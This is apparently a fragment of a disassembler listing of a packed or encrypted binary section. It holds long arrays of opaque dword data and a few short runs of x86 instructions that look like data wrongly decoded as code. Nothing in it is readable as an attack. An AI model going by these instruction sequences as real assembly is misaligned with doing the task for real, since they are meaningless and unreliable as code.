		dd 0E3D90067h, 0F59743A5h, 4B1A4F6Dh, 60BE94h, 0D53C0A8Ah
		dd 87B35F05h, 0BC5055B9h, 5661809Ch, 4A54B678h,	0C041BC40h
		dd 53EA82BFh, 0AEA99F4Ah, 0F6DCACDEh, 0F3BF063Dh, 4409060Dh
		dd 1C1B79Dh, 0DD286A69h, 31EC202Fh, 0B5D82041h,	8A2576FDh
		dd 92543D6h, 0D64F5602h, 0C0321446h, 0BF6AC150h, 557454h
		dd 0B1D42B8Ah, 810B66C2h, 6151D7h, 0FF714B48h, 569495D1h
		dd 6C3E824Ah, 29001C23h, 7D74C436h, 1A45063Eh, 7D026AFBh
		dd 50C5CF13h, 0BFE3C930h, 294901D5h, 670B07A1h,	9BFDD4FFh
		dd 50994D04h, 51AF61B3h, 0EAC47E7h, 0FE4C5F1Ch,	98144F9Eh
		dd 31950BE5h, 0EBA85C16h, 23EAD0C4h, 47F32E50h,	0C79539F6h
		dd 3C140813h, 8C0FF505h, 0C39828BEh, 0A9B738h, 6DC1E355h
		dd 6F2B63h, 0EAB4530Ah,	742C1184h, 7F888B5Fh, 509A955Bh
		dd 0F664655h, 0EBC5E79Ah, 80170493h, 12E85602h
dword_545350	dd 0ABF09256h, 8F4B0FA7h, 4A8216CCh, 5D7ACA16h,	0B849A811h
					; DATA XREF: ___:off_43BE0Co
		dd 4F5F00FBh, 0F9D7782Dh, 8D122987h, 0B81199h, 8168DAE5h
		dd 9A7DF8F1h, 128EE7FCh, 0B301855Dh, 0DA8B169Bh, 0C68081FCh
		dd 0D92A41A9h, 0F620C800h, 56B0702Bh, 0B73001F9h, 6A3DAF0Ch
		dd 0DC36A6FFh, 0B553D82Fh, 228031B7h, 53849C16h, 7AB1954Eh
		dd 72B2140Bh, 51FAA45Eh, 98490203h, 80B0E0FEh, 2D23F780h
		dd 5B4670E6h, 971E402h,	5611599Dh, 21DF6673h, 85EF810Fh
		dd 585D292Dh, 20EE9577h, 7B219520h, 2E7B95BAh, 166DB281h
		dd 7461EC35h, 0B281122Ah, 484600E8h, 5CF7D174h,	38A2000Ch
		dd 9271DF4Bh, 0B54A6731h, 4A0490C5h, 0A0E8C82Bh, 0A2079280h
		dd 8A00A9F1h, 267B89Ch,	5A8BCF8Fh, 5ACBB6D1h, 1313331h
		dd 1930AA6Dh, 0A19D2323h, 0E9B41A4Ah, 3CC922E3h, 4DA306D2h
		dd 0C40D1700h, 5571F845h, 0B7DA495h, 0CDB8140h,	7B19438Dh
		dd 8B1740E9h, 798155E5h, 0C180A0BFh, 0F9D22078h, 222A0E41h
		dd 0C92E2653h, 0F2A23089h, 0A583287Ah, 89FE0524h, 0E51FC58Dh
		dd 5667010Bh, 2A703160h, 0BB955261h, 0BD05A206h, 6A35691Eh
		dd 9D46FFEh, 7E2DB7F4h,	759DC12Fh, 12FB050Ah, 7879A3E2h
		dd 0ADB92E09h, 80FF3D07h, 57533B3Eh, 0EA02C41Ch, 8BCB5AF4h
		dd 276C56DFh, 2C0984Dh,	69F92FFh, 0BB66ABD9h, 0CD954CCDh
		dd 0D34C0F8h, 0F690AD73h, 2ECEC9Fh, 2B5F5BF7h, 0D14656D2h
		dd 0BA9E7F00h, 91A26718h, 0B913128Ch, 0D63DB35Fh, 0E08055DBh
		dd 8DB5311Fh, 0BF035F9Ah, 41872545h, 0C6DD909h,	0F2A652Bh
		dd 0B9F39935h, 2D9AD7A6h, 84A68280h, 0EC38DC4Dh, 662725CBh
		dd 80A1911Ch, 0EBC1B9D0h, 7100F070h, 3C9D7EDDh,	96C0B1Eh
		dd 0E7C8A63Eh, 0D05A0959h, 249827FCh, 2987C9F9h, 51097DBDh
		dd 5036C4E2h, 0C381C1D7h, 7C54864h, 0C83CDA2Ah,	7B1CC018h
		dd 0C9125FB1h, 0B885E1FFh, 0DA88DCF2h, 0C0A1EDA5h, 882E8BFh
		dd 4AE2F912h, 0C684F6A2h, 0A0BDB704h, 13C7EF67h, 50BB78Ch
		dd 0AB1E3558h, 0B55CB338h, 3660E66Fh, 483D62F3h, 0FDC090D3h
		dd 956C98F7h, 1E5BDF04h, 5DF2FBE8h, 36B50378h, 2CC23F38h
		dd 3E8DD698h, 11B15500h, 2BBC37B7h, 95FB9536h, 2597D027h
		dd 0F1FBD98Ch, 2288E70h, 67B21201h, 8BD742FCh, 8CBD121h
		dd 42251775h, 738DFB10h, 0D3E8A3D3h, 21252297h,	360C6976h
		dd 88FFDB15h, 18A509ECh, 0CD5AFCFEh, 1F3A6045h,	92F651E0h
		dd 0BD095012h, 5B9D49AEh, 40A54B59h, 2569019h, 0FDB4BCBBh
		dd 927D5F19h, 4139F262h, 5AFAD0F8h, 0D604586Bh,	30750B52h
		dd 38F0747Bh, 36870098h, 0EB8114DAh, 0B678B53Ah, 0CB001D96h
		dd 434F68BBh, 8E8B6BB1h, 6CB65B18h, 1FD93B1Ah, 458C69Ch
		dd 2C0868Ah, 0F98680A2h, 0E603C2A9h, 0A139F3A3h, 1BE5E77h
		dd 6DC0B0C1h, 0CC2B3074h, 17DEDC01h, 5F9CB353h,	88D36E7Ch
		dd 19002C0Eh, 7C97C427h, 3A1C41A3h, 0ED05F381h,	0FD89280Fh
		dd 8C1AA852h, 0AE0B7000h, 97202FF0h, 1F620E9h, 0C38092B1h
		dd 0BB0D6C50h, 2999509h, 0F75240E8h, 0DD389D39h, 0C50404F2h
		dd 0BAC5BEAh, 0A9FF56D3h, 8C1CAC9Ch, 0C5204D00h, 5396B57Eh
		dd 0B72E5A80h, 9CD169Ah, 8AD394ACh, 0C01BC841h,	752E773Ah
		dd 0A31ADD0Ah, 4109B107h, 9A93141Bh, 2139252Fh,	22F5E241h
		dd 50833862h, 6AB5317Ch, 9D63D060h, 82C2F54Dh, 0DFA280F5h
		dd 381AC781h, 0C5CA7B9Dh, 0ECFCED03h, 420605BAh, 8CE8899Fh
		dd 100039BFh, 9D81CBFBh, 73F2FD5h, 0AF024773h, 9EBBF53h
		dd 5F163054h, 0BFA07FBCh, 4607B961h, 5360503Dh,	0BB5F002Fh
		dd 0FD7D4CB0h, 8BAC8BFDh, 1D330FAEh, 0A6D8212h,	530AA228h
		dd 8A089E5Fh, 9035B4FDh, 0E97BBF0Eh, 51CD20D2h,	1B2C6AB7h
		dd 107024F3h, 169D7A1Dh, 0B893916h, 16F314F5h, 0CF8ABA01h
		dd 162B56DCh, 0EC01B99Ch, 0C69B02A0h, 3C3E42DFh, 7BE32661h
		dd 0B11D8Ch, 28B76CF2h,	0C2DDED80h, 0E4AFBF88h,	17344CC7h
		dd 0E8CBF996h, 70350142h, 0F615F5Ah, 7C493E8Eh,	647359F9h
		dd 0A295A8FCh, 0ACBD756Bh, 23151B82h, 55B198BAh, 0DC2813A3h
		dd 3268CF9h, 3040AAB0h,	0AAE30980h, 1BEF49E9h, 0D7D06B61h
		dd 3FFB993Fh, 0C2CD2981h, 5A7F4D20h, 0BA9BB305h, 0E9B0BE46h
		dd 9E4E3C1Dh, 0AF226320h, 0D9B70973h, 0B302EA93h, 377736AAh
		dd 800039E0h, 4E91D4CBh, 0A00570BBh, 0D99D8910h, 85C938BEh
		dd 0E2207245h, 0E31C5A25h, 5627D9C7h, 30C12888h, 0B2B75B12h
		dd 9201437Ah, 60A838A9h, 3402C098h, 2FE4FB4Bh, 385154h
		dd 0C9902E78h, 0B70069EFh, 0E49A07Fh, 4713B04h,	42CD23B6h
		dd 4E4CADD4h, 8DE8DCA9h, 0BF0FB909h, 0E87056D9h, 7638D6FCh
		dd 51AA9740h, 7ABA7742h, 0D57E485Fh, 3C2E9DF6h,	0C30B9569h
		dd 61E8B7EDh, 563E6B62h, 8F0F62D6h, 70B6B25Fh, 58968513h
		dd 0E29D91E0h, 49E65438h, 1DEEA5Eh, 7025E0F3h, 8957F5EAh
		dd 5B5BFE56h, 181659E2h, 8D592E5Bh, 3D74609Fh, 0B4006085h
		dd 0EDF65A21h, 3EFEE381h, 5FAD6E0Ch, 19596373h,	0DC01DD18h
		dd 0B05C1B1Ch, 267020B3h, 2B6048DAh, 9503DE05h,	352FA61h
		dd 87291DB1h, 2A019AB8h, 0B65E68C4h, 122E0AA2h,	0D27CA93Ah
		dd 0A98B569Ah, 0B5162E6Ch, 86B825F9h, 0A8F8F9B4h, 0E99B0219h
		dd 0B10CE1A5h, 18F41DFEh, 9CCF7AC4h, 9C910DB1h,	2DFB704Bh
		dd 57733210h, 33181C59h, 0AD67D900h, 0A0A62612h, 2058B8B6h
		dd 96492A75h, 1DC05880h, 5212FC8Ah, 2700F6A2h, 2F6BAC75h
		dd 739D0F5Bh, 6101B9A3h, 499D0396h, 92FE2308h, 3CA009B6h
		dd 22092859h, 7110AD2Dh, 0D46DADB2h, 0B37AA0C1h, 6FC4282Eh
		dd 60A7FC8Ah, 0B6DF9A48h, 6102B17Ah, 50B2652Bh,	23406196h
		dd 6CC43015h, 0FB03A221h, 2B75C4BDh, 97ADF4A9h,	71207903h
		dd 96D0136Dh, 0FD50F7C8h, 0F10097E9h, 0BB505B5Fh, 2F2117E1h
		dd 0A8F39634h, 13B3E170h, 48BA33Eh, 0F06FD8Ah, 0EAD56A60h
		dd 0B761F109h, 801911C6h, 114E8720h, 0B7834AB6h, 42B65BB1h
		dd 8E10E6A0h, 51252301h, 3FD06364h, 489D4720h, 0BBB08202h
		dd 0BA97AA7Ch, 62F34D33h, 0D15EFF2Eh, 7D9D2960h, 0E567952Ah
		dd 0BB023411h, 3C71E61Eh, 0E46B1A5Eh, 0F82B01A4h, 1644C267h
		dd 9810C07Eh, 81CEEF39h, 0A156284Dh, 0E90293B6h, 35F9AA2h
		dd 0CE4A37E2h, 0F9121F5Ch, 4D319F2h, 41CB1A8h, 17ABFCE9h
		dd 8048DB92h, 0BCA9EB68h, 0E6C14B8Bh, 949BE0E6h, 259F098Eh
		dd 0CC56C7D5h, 60966D52h, 3F282C25h, 10F4F25Ch,	9026123Dh
		dd 5E42F43h, 6E177D00h,	0E12E6BEDh, 33D00047h, 7478B4A9h
		dd 1900A601h, 664C2C09h, 4B7AEEBFh, 0D245DB61h,	32091700h
		dd 0E115BD8Bh, 0CF04D939h, 0FE6A0A0Bh, 2D26A866h, 0E07122D5h
		dd 571816F9h, 0F9EB3F27h, 4EBF806Ch, 89438422h,	14498513h
		dd 4C4B22AAh, 4073EF55h, 0D98A9D64h, 0B974ABAh,	4E8DF47Bh
		dd 769CC8C0h, 32007FB9h, 0BA61ADA4h, 6EC1351h, 0F6A3F50h
		dd 5FE02D87h, 0E309BFF4h, 0C1706DF7h, 98A5F933h, 5D1F1251h
		dd 362178C0h, 0D21FD1CCh, 0E012E61Eh, 4F49D10Eh, 0A556C14Dh
		dd 66722F1Bh, 1ED9842Bh, 0E3D24ABDh, 73679E21h,	868AD81Bh
		dd 0D88B0F29h, 8961D182h, 99AF552Ch, 9D97230Ch,	5A32B520h
		dd 0F4FD2050h, 0E40356E5h, 0B53F6118h, 5F5FEA1Dh, 558A8649h
		dd 0B811A9A8h, 438507DEh, 0F1F729B7h, 3C6EDDE1h, 852259BDh
		dd 4D04BD89h, 38AB80E9h
		dd 4C4A3674h, 12A059F7h, 99016C7Ch, 0B53C22D1h,	0CE100BE9h
		dd 9300E091h, 0AF091AC3h, 9E636BD0h, 5402DCC1h,	0FEDB1059h
		dd 292360C1h, 63C5B526h, 509F5BA5h, 0CFB47438h,	564B0244h
		dd 61608298h, 0C2140CDAh, 0FACC7586h, 56D9F84Bh, 0BC2B122Eh
		dd 8C1CFCA0h, 98C17400h, 92FA3006h, 60CA048Ch, 0D3D58D01h
		dd 4598BBC4h, 614A23C9h, 6A5FD2B7h, 0ABC8000Ah,	8BFEC5A0h
		dd 0FF6A2E5Dh, 22856094h, 0F30117A8h, 594C80Dh,	0C47A8D20h
		dd 49C4BE80h, 4A586FBEh, 0B07E05E0h, 0D2B202FDh, 22918509h
		dd 443614D7h, 0E5B03360h, 0B0F98188h, 76C33E1h,	0F32F99F2h
		dd 61A7D5D0h, 0DC643B2Ch, 1A00A838h, 0E65B17E8h, 0BD310B70h
		dd 71E45BA1h, 605BE373h, 0FC0DDFCBh, 152CA009h,	585E44Eh
		dd 0BA2EE2B5h, 5BEBC288h, 0E987D5Eh, 97DA8BA5h,	69BF79A7h
		dd 5E247079h, 49A0E91Fh, 0D34638Bh, 4A72B88Bh, 1031458Ch
		dd 4B194195h, 12EE6984h, 10F6A9A7h, 8080069Dh, 15E95ADBh
		dd 2EE05B94h, 0E424FEF4h, 0C39A16D4h, 0D23612D3h, 76E05BDEh
		dd 10832781h, 4B09151Ah, 37846686h, 621F30E5h, 0DD120D6Dh
		dd 0F0C72919h, 9F0117F4h, 454BAE74h, 0DD2AB885h, 20B6BEF3h
		dd 4D564C08h, 25156910h, 2CFE595Fh, 7C4539DDh, 6FB680EEh
		dd 0F926AFh, 0E7F8ABE0h, 0CD8D8BF3h, 0BF011892h, 74D0C725h
		dd 222F1FB7h, 0CE55438Fh, 22CC00FBh, 3BD485A9h,	0F000E1A1h
		dd 0D87ACF98h, 0A0A583F1h, 1431FE29h, 7F186D8Dh, 0E24C9442h
		dd 449D1222h, 49DC00B6h, 0DF72AB62h, 0CFE0E35Eh, 0EC2AF212h
		dd 7710ACF6h, 0BD2909C5h, 0F9A01961h, 480342Fh,	31BE196h
		dd 850855B9h, 164D6FAEh, 3AE3F321h, 0A3F78101h,	2A3E1249h
		dd 0EB21E684h, 6E6AFCE1h, 0EA86095Fh, 0A9F16Eh,	0FA312F67h
		dd 7500A799h, 5C59182Ch, 2E8AB78Eh, 87B730DAh, 2B5BFC07h
		dd 2DC027Eh, 8A0632C1h,	1FC09243h, 0AC946DB5h, 57FA8925h
		dd 1E30143Dh, 0FE8B77BDh, 0A8E609F9h, 0B055BA7Bh, 977663BDh
		dd 0B327BE9Eh, 88379Bh,	176A4EDEh, 29487285h, 5C6D2592h
		dd 0BF57E3D0h, 6EE2818Fh, 0BBDC2A5Fh, 0A227477Dh, 0DEB73018h
		dd 92039917h, 5CCD700Bh, 0BF04741Dh, 4416240Ah,	0B8E097F6h
		dd 0BB05D445h, 3544030h, 84E7B902h, 1B34D7D2h, 0DC0594h
		dd 7497ECA8h, 0B531FA8Ah, 52C98949h, 0E8AD4B21h, 1230F9BCh
		dd 0ADE3B89Ah, 0E199D30h, 34E1D523h, 0F5EAFFB4h, 23F29497h
		dd 71D803FCh, 57E405A3h, 0BA1812F7h, 0CE0E030Bh, 2D9192AEh
		dd 57BD03E2h, 0DFFF6504h, 0B52E791h, 7CF4282Fh,	98653D1h
		dd 0F36095F9h, 631E7122h, 8FE60F39h, 0D32A40E3h, 18C5BE5h
		dd 0BABB9A5Dh, 2F586482h, 0ACE1DB12h, 9080217Ch, 389DA2BBh
		dd 2393A497h, 0E16AEE34h, 0D241CC27h, 0FE342BF9h, 6DB4F013h
		dd 42F72D80h, 385A0D73h, 0F9BD7BB4h, 4EE90B60h,	566AB323h
		dd 0BE1EF07Ch, 0AD6D4B37h, 5CF8E8FCh, 493061B9h, 0D4A8BB91h
		dd 7C79D32Eh, 4B68DB00h, 25AB2178h, 70E059B7h, 0FD178BB4h
		dd 60F8F554h, 0B1EA9C12h, 54F73A55h, 2CE0D0B7h,	0B30B7755h
		dd 0F4BF2DF4h, 0CC8517C4h, 839679FBh, 5FFAC095h, 658011DBh
		dd 0B5E1CCE6h, 1A5AF58h, 38972856h, 342FFD8Ah, 0C06ADB80h
		dd 0CCC2327h, 0FC9100B2h, 7250BF66h, 17E18B0Fh,	0CDFB8264h
		dd 1BD42095h, 64B36D95h, 73A5601Bh, 0EC3D0445h,	0BCC402DAh
		dd 2573D4C8h, 0A3905BD9h, 0E19B589Eh, 5BC8AA09h, 814B8241h
		dd 6C00E0Ah, 51852957h,	5B490592h, 38608EA9h, 5FF8D9ECh
		dd 2C05B387h, 49087461h, 12562519h, 0BA37A5h, 43CBEDCEh
		dd 4416C8DDh, 4E88E6E4h, 0B40B00C6h, 0D4ED4122h, 0ABE09F03h
		dd 33A95800h, 0D19EC490h, 50780479h, 0FB72B160h, 0C3E33152h
		dd 0F7800F14h, 0C0B64Bh, 0EF71325Ah, 3E8B8321h,	59CCE5A0h
		dd 0AD42BCC0h, 89A0E13Fh, 2140EDBDh, 91D60968h,	1202B5C2h
		dd 0B148A234h, 5C027229h, 198D014Ah, 55B9D50Bh,	0F186A590h
		dd 727840A0h, 86091AFEh, 0D85038D0h, 14ED2DA7h,	15799A7Bh
		dd 0EC2F6A18h, 40BE5851h, 615E5F02h, 2D2E16B1h,	619DD028h
		dd 0F5CE214Ah, 0FD275234h, 2427B8BCh, 0BABE558h, 0B284F9B7h
		dd 40E945D9h, 84EC3CF9h, 0A1667E00h, 3095B529h,	149D97D1h
		dd 89EB35DAh, 4B5C02BDh, 6125ED20h, 1AE0C71Bh, 0EF765915h
		dd 0FC68E821h, 9F3FC45h, 44C05125h, 363897EBh, 0D98DCB5Fh
		dd 0DE2972ADh, 46D667FEh, 40C21215h, 0B650A0E3h, 6A1E41D9h
		dd 0CFFCCDC9h, 0CD0200EDh, 0D31FE3CBh, 0BE007388h, 209A1BB2h
		dd 16B151C8h, 0AD950955h, 0FC5B27C2h, 7C7460DCh, 1A023AEEh
		dd 609E457Ah, 0A8156A17h, 0DCC98086h, 0AD0612D2h, 6BF6D266h
		dd 829AADE0h, 400BD201h, 7ED432CFh, 0FB9D01F0h,	5FEB0A6Bh
		dd 49F669A4h, 803609DEh, 0B07120EFh, 700DB789h,	79EFB78Ch
		dd 9C5AC760h, 29E60B68h, 3973BA90h, 41181B59h, 0C7936400h
		dd 679A4050h, 6D929523h, 85912155h, 690D3061h, 1F94B85Eh
		dd 89DC25B4h, 195F52F8h, 742E5B17h, 0A8DBB980h,	6BE112EAh
		dd 0C77E302h, 50B3E780h, 0D07195F5h, 0EE623054h, 9D093E2Ch
		dd 0E4268D2Dh, 8F45BFDBh, 0F0094926h, 313670C0h, 811250F8h
		dd 24BDE729h, 0C220AE47h, 1C5C5888h, 675B4A5Fh,	43B43940h
		dd 0A342EF3h, 23658CCh,	5216F03Fh, 0F856A189h, 7E161051h
		dd 0A05C1ABDh, 2D9BBFB6h, 8E0952B8h, 0BD09F7ACh, 5984C168h
		dd 124FA498h, 9E28AB09h, 95D5F82Bh, 0A8546F89h,	41746D6h
		dd 0FDCF11F9h, 2CA26BACh, 67ACF924h, 2ACFC6C9h,	74497640h
		dd 0D63412A0h, 0F47CACA4h, 9602A06Bh, 0EB20738Ah, 82D9A82h
		dd 55B9E902h, 41F4848Bh, 4B761810h, 5786EC1h, 108712B4h
		dd 0EBFA5780h, 30D25804h, 93E94C0Ch, 8100F9C5h,	9CDA31EAh
		dd 38CD2883h, 35009BB2h, 1F76B1CCh, 50004BE6h, 6F94C695h
		dd 0F2D9D2h, 0DB32F582h, 0C72E89A0h, 9A2BD00h, 0FA1BB677h
		dd 66D9002Ch, 19E24A9Dh, 310068FDh, 0D439083Eh,	0EAC9CAh
		dd 0A056F19Ah, 3D4EB4FFh, 52883100h, 0D5DA7CAEh, 7FE30F59h
		dd 0BF00CB3Fh, 141FC0F6h, 2900EF7Eh, 0ACA9E49Fh, 746CAE79h
		dd 15C3032Bh, 0EB1419D8h, 2C075400h, 0B9B445D6h, 76290044h
		dd 0E679836Eh, 0D503230Eh, 7B0AAABAh, 51D0B703h, 1CEB124Bh
		dd 802FF6C8h, 0DD38F38Ch, 140097A6h, 0BBABC239h, 91E5Eh
		dd 0EE83F865h, 4FE21B06h, 4036A700h, 809D30A5h,	792C761h
		dd 8C1AC055h, 0B7F49859h, 3D31480Fh, 0DA8A64D0h, 0BAC76C0h
		dd 85F1017Ch, 2E41BFF6h, 0BBD4C875h, 0EAEEAB18h, 3AB6C04Bh
		dd 118CC9A5h, 462C7478h, 523B2B00h, 0ACFF41E4h,	0C80B01DAh
		dd 514E2DB6h, 1FD02AB3h, 73F45B7h, 42172A53h, 5485F64Fh
		dd 0F59BC900h, 58F309E4h, 0F0BD0CA7h, 0D11C84E1h, 6DA64106h
		dd 64E0A51h, 1805885Bh,	0BF0B1E91h, 523A32EDh, 453E0089h
		dd 0D251203Bh, 0C6188BA4h, 4D4BCACBh, 7864001Fh, 61762C1h
		dd 0A800D65Dh, 0F498C297h, 79A0449h, 7B61126Eh,	20CC309Eh
		dd 0A300BAC5h, 7C1C66C3h, 48797506h, 910E0DE3h,	0CB80F037h
		dd 782EBCB0h, 0CF167000h, 8699E74Ah, 437C00EEh,	2A8D9ED8h
		dd 0A600B9C3h, 40452F05h, 1152252h, 0A04CDD18h,	3058143Ah
		dd 1901E81Dh, 0AF50ED0Ah, 85F812C5h, 1A370F4Ch,	1C63AA81h
		dd 0CF00A4B1h, 14D8758Eh, 12207256h, 4359F40Dh,	0C711F0Ah
		dd 1AEF7D90h, 33A6B730h
		dd 4D7321h, 5D3F44A1h, 83591528h, 3411DD07h, 0EC10B3C8h
		dd 2358B5Ah, 78BB6ADCh,	0BA850C76h, 3020AD53h, 412DC0D7h
		dd 0FF9900E4h, 0D06D8A84h, 98004E1Ch, 6C5AFAEAh, 1C0378B9h
		dd 0C3949B6Eh, 0A3855A2h, 0DEDF80E8h, 0F38EF71Ch, 0DCE91641h
		dd 37CCC1C4h, 313E8D6h,	0FB96E34Eh, 0A6B071EBh,	7C0CAB1Fh
		dd 8A983747h, 1050441Ch, 5CF196A0h, 29CA9000h, 8864F902h
		dd 0C75600ADh, 0AAC53F32h, 8A00E389h, 0D328E93Ch, 64A7DBEh
		dd 7E7BCE10h, 0AF244E84h, 25411A85h, 7AD009A1h,	0E79802CAh
		dd 7BA0B0FDh, 0F9909F80h, 80FD9B36h, 944F1D11h,	6710D312h
		dd 0D951BA7Eh, 80FF4411h, 0D352EB9Eh, 0EA95A4h,	54253443h
		dd 0A516772Eh, 0D6485631h, 50A2107Bh, 4C74C0A1h, 190B9AE1h
		dd 381D5000h, 0DC904653h, 74073B71h, 6C969D04h,	0D81CC0D3h
		dd 0D6009E41h, 767E116Bh, 1DE718Bh, 9DD95416h, 2031E68Eh
		dd 893B10A0h, 0D02F8001h, 3C45A8B9h, 9F4D0021h,	0C0D6C7CAh
		dd 71006CADh, 3DBF7023h, 39A6F63h, 7ECC0B37h, 56148C72h
		dd 75A2D12Bh, 0D72CEC01h, 0DDD894BAh, 2681CBE9h, 9E578E78h
		dd 85D0E064h, 12EC7F38h, 7412DF25h, 0F568F800h,	126C017Eh
		dd 185FA580h, 649946B2h, 0F16C900h, 68415AF5h, 7DC30556h
		dd 405E534Bh, 0D4FB8AABh, 6CC9D7C7h, 3BD50140h,	6BE0742Ch
		dd 9B0C1F24h, 0F77A417Fh, 0D1C1F28Dh, 0E282E8DAh, 9A4A7800h
		dd 0F12A45BFh, 0D6B38C6h, 8B5BF286h, 350EF6D1h,	0D8309FCFh
		dd 0CF6A447h, 9AAFACE3h, 7A002810h, 47BD9854h, 70973834h
		dd 0BBC13E27h, 0E4B807F8h, 0E042D1FBh, 6447751Bh, 59730B00h
		dd 0AA7D4B7Ch, 41F600E7h, 0C3917280h, 29B74410h, 0FD13808Dh
		dd 75F77F42h, 0BA47008Ch, 0F183BCEAh, 5312269Ch, 0E241AF7Ch
		dd 60FB0528h, 4461C847h, 0A2355C79h, 6A23DE50h,	2E651874h
		dd 481A197Dh, 0BBF86F18h, 7AE96Fh, 57E812FAh, 0EE97CDA1h
		dd 0BE029370h, 6F10C652h, 1AA80C5h, 0C8E66F5h, 95860DDCh
		dd 60023281h, 0A8E0AFB2h, 2F8C8198h, 0F420717Dh, 210C0FDDh
		dd 32C244D7h, 0F7609001h, 53E8402Ch, 1F59A3A8h,	85600C00h
		dd 9FAD6A79h, 0F57400EBh, 43F4F8AEh, 200B473h, 890CDBAFh
		dd 12C05D9Ah, 2085BE2Ch, 2D4AD92Bh, 8E5C1001h, 756927D5h
		dd 0DDFEA8F7h, 0D7B0A023h, 319103A8h, 1AA9B063h, 78557CB8h
		dd 2553DE00h, 52EED682h, 0BD65398Fh, 5A05E787h,	1629E27Eh
		dd 76FDAD80h, 7F587708h, 24AD522Eh, 9B13CC1Fh, 18CF6200h
		dd 0DAD8B0h, 1EB54417h,	7854BEFDh, 1FC89A3Dh, 2A405EACh
		dd 70ABF97Eh, 80539124h, 7283DDE6h, 0D6E23361h,	0CE93AC00h
		dd 597A1563h, 0F37D4858h
		db 7, 78h
; ---------------------------------------------------------------------------


loc_54663E:				; CODE XREF: ud2_____:005466BBj
		cmp	eax, 0BC60ED72h
		std
		mov	ebx, [eax+edx*4-69h]
		sbb	bh, ch
		mov	al, ds:8E5417B3h
		add	eax, 111C9320h
		sahf
		and	dword ptr [eax+446043B8h], 1DD0FDBFh
		push	ecx
		dec	ebp
		test	al, 0D7h
		or	[edx+2Bh], esi
		into
		xor	cl, 0C2h
		inc	esp
		mov	eax, ds:7E1A0060h
		add	eax, 0A61BA68h
		lock push ss
		pop	edi
		xchg	eax, edi
		push	esi
		xchg	eax, ebx
		inc	esi
		xchg	eax, eax
		sub	dword ptr ds:0F7E1041Dh, 0C06E36E9h
		dec	eax
		inc	ebp
		cmp	eax, 0DB46132Eh
		mov	eax, ds:7B2E0Eh
		imul	eax, [ebp+2CF5C98h], 0ACC13A27h
		shl	byte ptr [ebp-40h], 49h
		popa
		test	[ebp+7Bh], bl
		jo	short $+2
; ---------------------------------------------------------------------------
		db 0D4h
; ---------------------------------------------------------------------------


loc_5466A9:				; CODE XREF: ud2_____:00546726j
		inc	ebp
		test	eax, 5519324Ch
		adc	dh, [edx+2DE0F068h]
		mov	ds:552242Ch, ebx
		loop	loc_54663E
		retn	54EDh
; ---------------------------------------------------------------------------
		dd 6EA5076h, 24141787h,	68B3805Ch, 1EA84F73h, 0FE98BB53h
		dd 8121E000h, 0F879F3E3h, 0C3EC14h, 4C460558h, 72B95143h
		dd 0B8AEF200h, 8959CB01h, 835B0ED8h, 24CE04ECh,	4DC8436h
		dd 0FB505D3Bh, 35F55F00h, 378F6406h, 3C700845h,	0EB140125h
		dd 48113381h
; ---------------------------------------------------------------------------
		sub	[ecx-6Ch], ah
		push	ebp
		mov	ebp, esp
		cmc
		lds	edx, [edi+68h]
		push	8B082C64h
		add	[ecx-77h], edx
		loope	loc_5466A9
		rol	dword ptr [ebx+10h], 83h
		sbb	[edi+eax*4], cl
		or	al, 26h
		jmp	near ptr 0FC71692Ah
; ---------------------------------------------------------------------------
		dw 49FFh
		dd 0C5B60AB8h, 0DC20D1CAh, 0D5005DACh, 0FFC50305h, 2F9E0h
		dd 34B01F5Ch, 30792F13h, 0C97E9B00h, 0F6755ECDh, 78D30002h
		dd 44C54912h, 7A12EEC1h, 89008E4Ah, 6861426Ch, 0E857000Eh
		dd 8B555B0Bh, 0BA9F20AFh, 50507B3Ch, 0E2B6ABE0h, 5BB5F540h
		dd 7EBC003Ch, 0C45F566Eh, 0D800D18Fh, 25B61B8Eh, 2D595076h
		dd 55075190h, 0F60815Fh, 24377E8Fh, 0FF0CBEE1h,	67377FD6h
		dd 891374A8h, 57FE9985h, 0BCBCB9BDh, 0CDEF00ADh, 0B06103D6h
		dd 0D528BD23h, 0C19F2A19h, 404167Fh, 0AF60A3A7h, 3125FA91h
		dd 0EB6A7F1Dh, 59051F02h, 0B0626187h, 3164990Eh, 4BD1F99Dh
		dd 0DDBB88h, 8FF3876h, 0E20D3D2Ch, 2AA29603h, 8C61ACBCh
		dd 0EDF8D8ABh, 6E3E3D05h, 0E0305090h, 454959h, 0DB52FABh
		dd 0A2E123EAh, 3AE43B4Ah, 0EE700BE9h, 847B90A6h, 75FF8270h
		dd 0FAE52812h, 0A5355291h, 0F0DFF65Fh, 3BE8C592h, 0F98DD648h
		dd 3F48F85Ah, 6862C6E3h, 747E0969h, 401C4EBh, 0C318942h
		dd 0DE78FCE1h, 408B12A7h, 974F073Ah, 6EF3A078h,	0A200306Eh
		dd 0E71D2278h, 2909FE8Bh, 0DF110195h, 4E45749Ch, 1CD47D20h
		dd 4D6AA88Fh, 0DC9002h,	22EABF5Dh, 786B6C2Fh, 0F6FFF8Dh
		dd 0BF93D874h, 1A23216Bh, 83679F00h, 5A90E631h,	0D35FE871h
		dd 27E983E0h, 77E50DE2h, 8322AD92h, 0DC6454F8h,	9FEF4F02h
		dd 89CF145Ch, 4029D497h, 433527C0h, 0E994E70Ch,	7AE5170Ch
		dd 0EB290077h, 9D2798D8h, 7C27D12Bh, 0B55FE65Fh, 57603A18h
		dd 0F74CAEB8h, 0BF660033h, 0BB502369h, 3ED01E62h, 1261E707h
		dd 14F23B21h, 1F00B293h, 5340C980h, 3A64E25Bh, 9D36C488h
		dd 0ECE71E0Ch, 1B509D56h, 60F6314Bh, 1D759D0Bh,	766BDC76h
		dd 0C709D403h, 89B13792h, 4E13577Bh, 314FC05Fh,	0C13CAB5h
		dd 2CBEC512h, 388B193Ah, 0B0B8F1A8h, 3F25Fh, 0F2F7B751h
		dd 0E3A0662h, 0E15F99C2h, 0EC70E644h, 0A8F580D4h, 1D0458A0h
		dd 0C0AE93DDh, 1FAF5E73h, 7C9071E4h, 0F9187D25h, 0FDE916Ah
		dd 9FD98D89h, 0A4BA44BFh, 27017ED8h, 0EEC62625h, 0AF169521h
		dd 0EF000DC4h, 0A6A8CB54h, 919802h, 21EE450Ah, 0CE262ACCh
		dd 0FAD37113h, 0AB20FAE1h, 0D08A13F0h, 0D1FDE061h, 0E91362B4h
		dd 8A603620h, 84A6E8h, 0CFC9B029h, 2E7F4525h, 4153AD1Eh
		dd 24119DCBh, 81AF5EA7h, 820514Bh, 893B79C3h, 2316E60h
		dd 18AF61F8h, 0A89D7252h, 0E90C68ECh, 4A800B4Dh, 0EF3EFh
